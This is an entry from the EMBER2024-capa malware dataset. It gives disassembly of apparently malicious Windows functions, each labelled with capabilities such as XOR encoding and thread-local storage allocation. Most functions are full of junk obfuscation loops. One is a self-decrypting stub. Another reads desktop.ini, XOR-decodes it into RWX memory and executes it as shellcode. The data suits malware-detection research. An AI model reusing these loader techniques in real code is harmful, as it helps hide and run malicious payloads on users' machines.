joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10031e13
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
cmp byte [ebp + 0x10], 0
push ebx
push esi
push edi
je 0x10031f00
mov dword [esp + 0x1c], 0x2e66
cmp dword [esp + 0x1c], 0x2e9d
push 0
pop esi
jle 0x10031ee4
push esi
push 0x228f
call dword [sym.imp.GDI32.dll_GetClipBox]
mov ebx, esi
mov dword [esp + 0xc], esi
mov edi, esi
mov dword [esp + 0x18], esi
mov eax, edi
mov dword [esp + 0x14], 0x5600
mov edi, dword [esp + 0xc]
mov dword [esp + 0x10], eax
or eax, edi
lea ecx, [esp + 0x30]
or eax, ebx
cdq
push edx
push eax
call fcn.10001a85
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10031e86
mov eax, dword [eax]
push eax
call fcn.10049603
pop ecx
push esi
push 1
lea ecx, [esp + 0x38]
call fcn.100048ea
mov eax, dword [esp + 0x10]
dec eax
dec dword [esp + 0x14]
mov dword [esp + 0x10], eax
jne 0x10031e6c
mov edi, dword [esp + 0x18]
inc edi
mov dword [esp + 0x18], edi
cmp edi, 0x1a0d
jl 0x10031e5a
mov eax, dword [esp + 0xc]
inc eax
mov dword [esp + 0xc], eax
cmp eax, 0x25ca
jl 0x10031e54
inc ebx
cmp ebx, 0x343e
jl 0x10031e50
push 0x24cf
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
cmp dword [esp + 0x1c], 0x2caa
jge 0x10031ef9
push str.aqgnbanm_qore_gmvykofl_fyycydgc_psbdgnec_tmbvmswyd
call fcn.10049603
pop ecx
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
jmp 0x10031f50
mov dword [esp + 0xc], 0x32fe2236
xor esi, esi
push 3
mov dword [esp + 0x20], 0xf7a7
mov dword [esp + 0x10], esi
pop ecx
jmp 0x10031f27
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x20], ecx
inc dword [esp + 0xc]
cmp dword [esp + 0xc], 4
jl 0x10031f1b
mov dword [esp + 0xc], ecx
cmp dword [esp + 0xc], esi
jl 0x10031f50
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0xc]
mov dword [esp + eax*4 + 0x20], ecx
cmp dword [esp + 0xc], esi
jne 0x10031f50
dec dword [esp + 0xc]
jns 0x10031f38
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003213b
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1006179e
call fcn.100600a0
sub esp, 0x24
push ebx
push esi
mov dword [ebp - 0x1c], 0x7e40
mov eax, edx
cmp dword [ebp - 0x1c], 0x8034
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ecx
jle 0x100321bb
xor esi, esi
xor edi, edi
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0x14], eax
add eax, ebx
mov ecx, 0x1007bb98
add eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.100042e3
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x4a74
jl 0x10032171
inc ebx
cmp ebx, 0x79cc
jl 0x1003216c
inc edi
cmp edi, 0x66d0
jl 0x1003216a
inc esi
cmp esi, 0x2453
jl 0x10032168
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
cmp byte [ebp + 0xc], 0
je 0x100321ce
push ecx
push ecx
mov ecx, dword [ebp + 0x18]
push eax
call fcn.1000b6a1
jmp 0x1003220a
mov esi, dword [ebp + 0x14]
mov dword [esi], 0xffffffe9
cmp dword [esi], 0xffffffe5
je 0x1003220a
mov edi, 0x86c7a88f
mov dword [ebp - 0x20], 0
push 0
mov dword [ebp - 0x30], edi
push ecx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
push ecx
call fcn.10032074
mov ecx, dword [ebp - 0x18]
add esp, 0xc
dec dword [esi]
cmp dword [esi], 0xffffffe5
jne 0x100321e1
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x7cd7
jge 0x10032226
mov edx, str.bhom_citcgwfr_xwti_qtvn_andsk_glmgqxci_tyoo_rnyxtqhp_trpxh_pyfatouv_awv
mov ecx, 0x1007bb98
call fcn.100067dc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10032af1
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x100617f3
call fcn.100600a0
sub esp, 0xc
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x10032bbd
mov ecx, dword [ebp + 0x14]
cmp dword [ecx + 0x14], 8
jb 0x10032b1b
mov esi, dword [ecx]
jmp 0x10032b1d
mov esi, ecx
mov eax, dword [ecx + 0x10]
mov ax, word [esi + eax*2 - 2]
cmp ax, word [edx]
je 0x10032b41
push edx
push ecx
push 0x5141
push ecx
push 1
mov edx, 0x8c
call fcn.10031a54
add esp, 0x14
mov dword [ebp - 0x18], 0x5ba3
cmp dword [ebp - 0x18], 0x5ee0
jle 0x10032b85
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1007bb98
and eax, edi
xor eax, esi
cdq
push edx
push eax
call fcn.100042e3
inc ebx
cmp ebx, 0x53e1
jl 0x10032b57
inc edi
cmp edi, 0x7c5d
jl 0x10032b55
inc esi
cmp esi, 0x5d78
jl 0x10032b53
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x595e
jge 0x10032ba1
mov edx, str.ixncjajwe_saz_cvktlqva_xfsdpchx_hyaqc_mdtapcr
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x10032bde
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x10032bde
push ecx
push 0
push ecx
push ecx
push 0x39cb
mov edx, 0x701e
call fcn.100333b4
add esp, 0x14
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10033607
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1006186e
call fcn.100600a0
sub esp, 0x2c
push ebx
push esi
mov byte [ebp - 0x14], cl
mov ebx, edx
mov dword [ebp - 0x20], 0x575c
cmp dword [ebp - 0x20], 0x5904
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], ebx
jle 0x1003367f
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
xor edi, edi
mov dword [ebp - 0x1c], edi
mov ebx, edi
mov edi, 0x4162
mov eax, ebx
mov ecx, 0x1007bb98
cdq
push edx
push eax
call fcn.100042e3
dec ebx
dec edi
jne 0x10033646
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x8fe
jl 0x1003363f
push 0
push 0
push 0x160b
push 0x18c2
call dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], 0x5d00
cmp dword [ebp - 0x1c], 0x5ece
jle 0x100336cb
push 0x1968
push 0x12d
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1007bb98
xor eax, edi
cdq
push edx
push eax
call fcn.100042e3
inc ebx
cmp ebx, 0x1c04
jl 0x100336a5
inc edi
cmp edi, 0x4a40
jl 0x100336a3
mov ebx, dword [ebp - 0x18]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x5ad0
jge 0x10033706
mov edx, str.bajlpb_knslx_csxyyyvry_fnywip_avamdi_onfirlom_inqobiqtp_xnsmt_wkuwvfq_tieltbv_wtbbx
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x10033706
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x64b
cmp dword [ebp - 0x1c], 0x702
jle 0x1003375e
xor edi, edi
xor ebx, ebx
lea eax, [ebx + edi]
cdq
lea ecx, [ebp - 0x38]
push edx
push eax
call fcn.10001a85
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10033736
mov eax, dword [eax]
push eax
call fcn.10049603
pop ecx
push 0
push 1
lea ecx, [ebp - 0x38]
call fcn.100048ea
inc ebx
cmp ebx, 0x22ef
jl 0x1003371e
inc edi
cmp edi, 0x97c
jl 0x1003371c
mov ebx, dword [ebp - 0x18]
cmp dword [ebp - 0x1c], 0x324
jge 0x10033772
push str.kmuonz_klhtmfbj_vmtgmmlo_mnqcqup_loth_pbcf_qasbohqc_pqadltqro_njnih_wpgg
call fcn.10049603
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x14], 0
je 0x100337b6
mov edi, dword [ebx + 4]
cmp dword [ebx], edi
je 0x100337c6
mov ecx, dword [ebp + 0x14]
push 0x18
sub edi, dword [ebx]
mov eax, dword [ecx + 4]
sub eax, dword [ecx]
cdq
pop ecx
idiv ecx
push 0x18
mov ecx, eax
mov eax, edi
cdq
pop edi
idiv edi
cmp eax, ecx
jne 0x100337c6
push dword [ebp + 0x14]
push ecx
push 1
push dword [ebp + 0x20]
mov ecx, ebx
call fcn.10033410
add esp, 0x10
jmp 0x100337c6
mov eax, dword [ebp + 0x1c]
movzx eax, word [eax]
push eax
push ecx
mov ecx, dword [ebp + 8]
call fcn.10020da8
mov dword [ebp - 4], 4
cmp dword [ebp - 0x20], 0x5378
jge 0x100337e5
mov edx, str.tqglw_wphvwsgc_rvblk_cbekrit
mov ecx, 0x1007bb98
call fcn.100067dc
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10035b5b
Capabilities:
Allocate thread local storage

Disassembly:
mov eax, 0x1006192a
call fcn.100600a0
sub esp, 0x1c
mov byte [ebp - 0x18], cl
push ebx
push esi
mov esi, edx
push edi
mov dword [ebp - 0x10], esp
test cl, cl
je 0x10035bc4
mov dword [esi], 0xfffffff4
jmp 0x10035bae
push 0
push 0x4e81
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0x11]
push 1
mov edx, 0x6d88
call fcn.100358ab
mov byte [ebp - 0x12], 0
add esp, 0xc
cmp byte [ebp - 0x12], 0
je 0x10035bac
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
inc dword [esi]
cmp dword [esi], 0xb
jle 0x10035b7f
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x24], 0x1ebb
mov esi, 0x1007bb98
cmp dword [ebp - 0x24], 0x20d2
jle 0x10035bfd
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, esi
or eax, edi
cdq
push edx
push eax
call fcn.100042e3
inc ebx
cmp ebx, 0x2378
jl 0x10035bdd
inc edi
cmp edi, 0x76de
jl 0x10035bdb
mov dword [ebp - 0x20], 0x26c0
cmp dword [ebp - 0x20], 0x26e5
jle 0x10035c43
xor edi, edi
mov dword [ebp - 0x1c], edi
mov ebx, edi
mov edi, 0x4ff3
mov eax, ebx
mov ecx, esi
cdq
push edx
push eax
call fcn.100042e3
dec ebx
dec edi
jne 0x10035c19
mov edi, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x1c], edi
cmp edi, 0x6552
jl 0x10035c12
push 0x1742
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
cmp dword [ecx], 0xa
je 0x10035c63
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
cmp dword [eax + 8], 0
jne 0x10035c63
inc dword [ecx]
cmp dword [ecx], 0xa
jne 0x10035c54
and dword [ebp - 4], 0
cmp dword [ebp - 0x20], 0x2391
jge 0x10035c9d
mov edx, str.qetekpash_espf_nqvieb_wegqcxev_fhoklmsg
mov ecx, esi
call fcn.100067dc
jmp 0x10035c9d
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x1e13
jge 0x10035bb3
mov edx, str.wfte_ekyeqj_dilldbrne_nmaf
mov ecx, esi
call fcn.100067dc
jmp 0x10035bb3

Function at 0x10035f5f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
test dl, dl
je 0x10035fa7
test cl, cl
je 0x10035f9e
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x14]
cmp ecx, dword [eax]
je 0x10035fc7
mov edx, dword [ebp + 0x10]
push 0x1879
push ecx
push 0x5059
push ecx
push 0x56b
push 0x4afa
xor cl, cl
call fcn.10035665
add esp, 0x18
jmp 0x10035fc7
mov eax, dword [ebp + 0x18]
mov eax, dword [eax]
inc dword [eax]
jmp 0x10035fc7
cmp byte [ebp + 0xc], 0
je 0x10035fb5
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x10035fc7
push 0
push 0xe04
push 0x1d90
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov esp, ebp
pop ebp
ret
Function at 0x10036307
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov dword [ebp - 8], 0x7955
mov eax, edx
cmp dword [ebp - 8], 0x7acd
push esi
push edi
mov dword [ebp - 0xc], eax
jle 0x10036382
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
xor edi, edi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], 0x7f1e
mov ecx, ebx
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x24]
cdq
push edx
push eax
call fcn.10001a85
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10036353
mov eax, dword [eax]
push eax
call fcn.10049603
pop ecx
push 0
push 1
lea ecx, [ebp - 0x24]
call fcn.100048ea
add ebx, esi
dec dword [ebp - 4]
jne 0x10036338
inc esi
cmp esi, 0x71bb
jl 0x1003632f
inc edi
cmp edi, 0x6191
jl 0x1003632d
mov eax, dword [ebp - 0xc]
cmp byte [ebp + 8], 0
je 0x10036392
mov eax, dword [eax]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
jmp 0x10036398
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp dword [ebp - 8], 0x7638
jge 0x100363ac
push str.vikr_ipguvr_ymicunb_xlblcgy_pel_totz_wyjeupno_ginedeez_nfuiygvva_uiffrgszm_lfcvtx_rqvjaxlu
call fcn.10049603
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10039abc
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
cmp byte [ebp + 0x1c], 0
mov eax, ecx
push ebx
push esi
push edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
je 0x10039bbc
mov dword [ebp - 0x10], 0x25ef
cmp dword [ebp - 0x10], 0x26ed
jle 0x10039b77
xor esi, esi
push esi
push 0x2142
push 0x1e5e
push 0x244d
push 0x292
push 0x64c
push 0x1b48
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov edi, esi
mov dword [ebp - 0xc], esi
mov ebx, esi
mov dword [ebp - 8], esi
mov eax, edi
cdq
idiv ebx
mov ebx, 0x3d38
mov edi, edx
mov eax, edi
lea ecx, [ebp - 0x30]
cdq
push edx
push eax
call fcn.10001a85
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10039b40
mov eax, dword [eax]
push eax
call fcn.10049603
pop ecx
push esi
push 1
lea ecx, [ebp - 0x30]
call fcn.100048ea
dec edi
dec ebx
jne 0x10039b29
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 0xc]
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, 0x422c
jl 0x10039b1d
inc edi
mov dword [ebp - 0xc], edi
cmp edi, 0x48c
jl 0x10039b18
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
xor ebx, ebx
mov ecx, dword [ebp + 0x10]
test eax, eax
mov esi, dword [ebp + 0xc]
setne bl
xor edx, edx
mov eax, dword [ecx]
mov eax, dword [eax + 8]
mov dword [esi], eax
mov eax, dword [ecx]
mov ecx, dword [eax + 8]
add ecx, dword [eax + 4]
mov eax, dword [esi]
cmp ebx, ecx
mov ecx, dword [ebp - 0x18]
setne dl
imul eax, edx
mov dword [ecx], eax
cmp dword [ebp - 0x10], 0x22d2
jge 0x10039bcb
push str.qapgtlk_unmqnut_owpjtfr
call fcn.10049603
pop ecx
jmp 0x10039bcb
xor esi, esi
push esi
push esi
push 0x685
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10039f89
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x10061b40
call fcn.100600a0
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], 0x2b04
mov edi, ecx
xor esi, esi
mov dword [ebp - 0x10], esp
cmp dword [ebp - 0x18], 0x2c4a
mov dword [ebp - 0x1c], edi
jle 0x10039ff3
mov ebx, esi
mov edi, esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x14], 0x3c26
mov ecx, esi
mov eax, ebx
sar eax, cl
mov ecx, 0x1007bb98
cdq
push edx
push eax
call fcn.100042e3
add esi, edi
dec dword [ebp - 0x14]
jne 0x10039fc1
inc edi
push 0
pop esi
cmp edi, 0x5056
jl 0x10039fb7
inc ebx
cmp ebx, 0x1267
jl 0x10039fb5
mov edi, dword [ebp - 0x1c]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x18], 0x277c
jge 0x1003a02f
mov edx, str.omay_eavoppz_dxckm_bdbujzha_fbfcq_svxzbcdgy_srsfjfdo
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1003a02f
cmp byte [ebp + 0xc], 0
je 0x1003a062
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
mov eax, dword [edi]
cmp dword [edi], esi
je 0x1003a05b
mov eax, dword [ebp + 0x18]
cmp dword [eax], esi
je 0x1003a05b
xor esi, esi
inc esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x1003a06a
push esi
push esi
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003c409
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10061c21
push eax
mov dword fs:[0], esp
sub esp, 0x48
cmp byte [ebp + 0xc], 0
push esi
je 0x1003c524
push dword [esp + 0x18]
movdqa xmm0, xmmword [0x1006f180]
lea eax, [esp + 0x4c]
push eax
xor esi, esi
lea eax, [esp + 0x40]
push eax
push esi
lea ecx, [esp + 0x30]
mov dword [esp + 0x30], esi
movdqu xmmword [esp + 0x48], xmm0
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call fcn.10006d4a
mov dword [esp + 0x54], esi
lea ecx, [esp + 0x2c]
mov dword [esp + 0xc], 1
push 2
call fcn.10004595
push ecx
lea eax, [esp + 0x20]
mov byte [esp + 0x58], 1
push eax
push esi
push 0x7127
mov dword [esp + 0x28], 0xfffffff8
lea edx, [esp + 0x3c]
push ecx
mov dword [esp + 0x24], 0xffff
mov ecx, 0x6534
mov dword [esp + 0x28], 0xd33d73c1
call fcn.10039a22
add esp, 0x14
lea eax, [esp + 0x2c]
mov edx, 0x77cd
push eax
lea eax, [esp + 0x24]
push eax
push 1
lea eax, [esp + 0x18]
push eax
push ecx
mov ecx, 0x6b0e
call fcn.1003b8d3
add esp, 0x14
lea eax, [esp + 0xc]
lea edx, [esp + 0x18]
push esi
push ecx
push eax
push ecx
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x44]
push eax
push ecx
push ecx
call fcn.1003a231
add esp, 0x24
cmp dword [esp + 0x2c], esi
je 0x1003c511
push dword [esp + 0x2c]
call fcn.100497d9
pop ecx
cmp dword [esp + 0x20], 0
je 0x1003c536
push dword [esp + 0x20]
call fcn.100497d9
pop ecx
jmp 0x1003c536
mov byte [esp + 0xb], 0
cmp byte [esp + 0xb], 0
je 0x1003c536
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, dword [esp + 0x4c]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1003cd74
Capabilities:
Encode data using xor
Get file size

Disassembly:
mov eax, 0x10061c51
call fcn.100600a0
sub esp, 0x14
cmp byte [ebp + 8], 0
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x14], cl
je 0x1003ce6a
mov dword [ebp + 8], 0x394c
cmp dword [ebp + 8], 0x3b6d
jle 0x1003cde7
xor esi, esi
xor edi, edi
xor ebx, ebx
mov eax, ebx
mov ecx, 0x1007bb98
xor eax, edi
or eax, esi
cdq
push edx
push eax
call fcn.100042e3
inc ebx
cmp ebx, 0x77c1
jl 0x1003cdaf
inc edi
cmp edi, 0x61fb
jl 0x1003cdad
inc esi
cmp esi, 0x47c8
jl 0x1003cdab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x37d7
jge 0x1003ce03
mov edx, str.bisvzuqq_yioi_siweibdo_agywz_hvat_uhtw_jtpjidugd_plztutj_tjwd_kurwem_wlo_rnhuol
mov ecx, 0x1007bb98
call fcn.100067dc
cmp byte [ebp - 0x14], 0
je 0x1003ce4f
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
cmp dword [edx], 3
jge 0x1003cf47
mov esi, dword [ebp + 0x10]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0x256915a1
inc dword [edx]
cmp dword [edx], 3
jl 0x1003ce1e
jmp 0x1003cf47
mov byte [ebp + 0xb], 0
cmp byte [ebp + 0xb], 0
je 0x1003cf47
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
jmp 0x1003cf47
mov dword [ebp - 0x18], 0x6b7d
cmp dword [ebp - 0x18], 0x6c06
jle 0x1003cec1
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor esi, esi
mov dword [ebp + 8], esi
xor edi, edi
mov ebx, esi
mov esi, 0x589f
mov eax, ebx
mov ecx, 0x1007bb98
cdq
push edx
push eax
call fcn.100042e3
add ebx, edi
dec esi
jne 0x1003ce92
mov esi, dword [ebp + 8]
inc edi
cmp edi, 0x1bd0
jl 0x1003ce8b
inc esi
mov dword [ebp + 8], esi
cmp esi, 0x7dd8
jl 0x1003ce89
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 4], 2
cmp dword [ebp - 0x18], 0x6a16
jge 0x1003ceff
mov edx, str.lesquh_bvcc_eonahgyo_wprcyhyjd_tps_zmhrithb
mov ecx, 0x1007bb98
call fcn.100067dc
jmp 0x1003ceff
cmp byte [ebp + 0xc], 0
je 0x1003cf24
mov edx, dword [ebp + 0x1c]
mov dword [edx], 0
jmp 0x1003cf1d
mov ecx, dword [edx]
mov eax, dword [ebx]
mov dword [eax + ecx*4], 0xe8dc
inc dword [edx]
cmp dword [edx], 2
jl 0x1003cf10
jmp 0x1003cf47
mov edx, dword [ebp + 0x14]
mov dword [edx], 0
cmp dword [edx], 3
jge 0x1003cf47
mov esi, dword [ebp + 0x20]
mov ecx, dword [edx]
mov eax, dword [esi]
mov dword [eax + ecx*4], 0xea5d6c05
inc dword [edx]
cmp dword [edx], 3
jl 0x1003cf35
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10042c4b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10061ec6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
push ebx
push esi
push edi
xor ebx, ebx
mov esi, edx
mov edi, ecx
mov dword [esp + 0x1c], ebx
call fcn.1003edc5
push ecx
push eax
lea ecx, [esp + 0x30]
call fcn.10042f88
mov dword [esp + 0x6c], ebx
add esi, 0xffffbea8
mov edx, dword [esp + 0x28]
mov ecx, edx
mov eax, dword [edx + 4]
cmp byte [eax + 0xd], bl
jne 0x10042cc5
cmp dword [eax + 0x10], esi
jge 0x10042ca8
mov eax, dword [eax + 8]
jmp 0x10042cac
mov ecx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x10042c9e
cmp ecx, edx
je 0x10042cc5
cmp esi, dword [ecx + 0x10]
jl 0x10042cc5
mov dword [esp + 0x20], ecx
lea esi, [esp + 0x20]
jmp 0x10042ccd
mov dword [esp + 0x24], edx
lea esi, [esp + 0x24]
mov eax, dword [0x100b7100]
mov esi, dword [esi]
test al, 1
jne 0x10042d03
or eax, 1
mov dword [0x100b70f8], 7
mov dword [0x100b7100], eax
xor eax, eax
push 0x10062174
mov dword [0x100b70f4], ebx
mov word [0x100b70e4], ax
call fcn.100495d9
pop ecx
mov dword [esp + 0x14], 0x485bf25c
mov dword [esp + 0x18], 0xc32b96ce
cmp dword [esp + 0x14], ebx
jne 0x10042d1d
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
sub ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
sete dl
xor ecx, ecx
imul edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp edx, eax
setle cl
cmp ecx, dword [esp + 0x18]
mov byte [esp + 0x13], bl
jne 0x10042d76
cmp byte [esp + 0x13], 0
je 0x10042d83
push ebx
push ebx
push 0x1428
call dword [sym.imp.USER32.dll_SetPropA]
jmp 0x10042d83
cmp byte [esp + 0x13], 0
je 0x10042d83
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
cmp esi, dword [esp + 0x28]
je 0x10042da3
push dword [esi + 0x18]
mov edx, dword [esi + 0x14]
lea ecx, [esp + 0x4c]
call fcn.10039368
pop ecx
xor ebx, ebx
mov byte [esp + 0x6c], 1
inc ebx
jmp 0x10042db8
push 0x100b70e4
lea ecx, [esp + 0x34]
call fcn.100043f8
push 2
pop ebx
mov dword [esp + 0x6c], ebx
push eax
mov ecx, edi
mov dword [esp + 0x20], ebx
call fcn.100043f8
or ebx, 4
test bl, 2
je 0x10042ddc
push 0
push 1
lea ecx, [esp + 0x38]
and ebx, 0xfffffffd
call fcn.10004a5c
test bl, 1
je 0x10042dee
push 0
push 1
lea ecx, [esp + 0x50]
call fcn.10004a5c
lea ecx, [esp + 0x28]
call fcn.10042f20
mov ecx, dword [esp + 0x64]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x40229a
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push edi
push dword [0x403716]
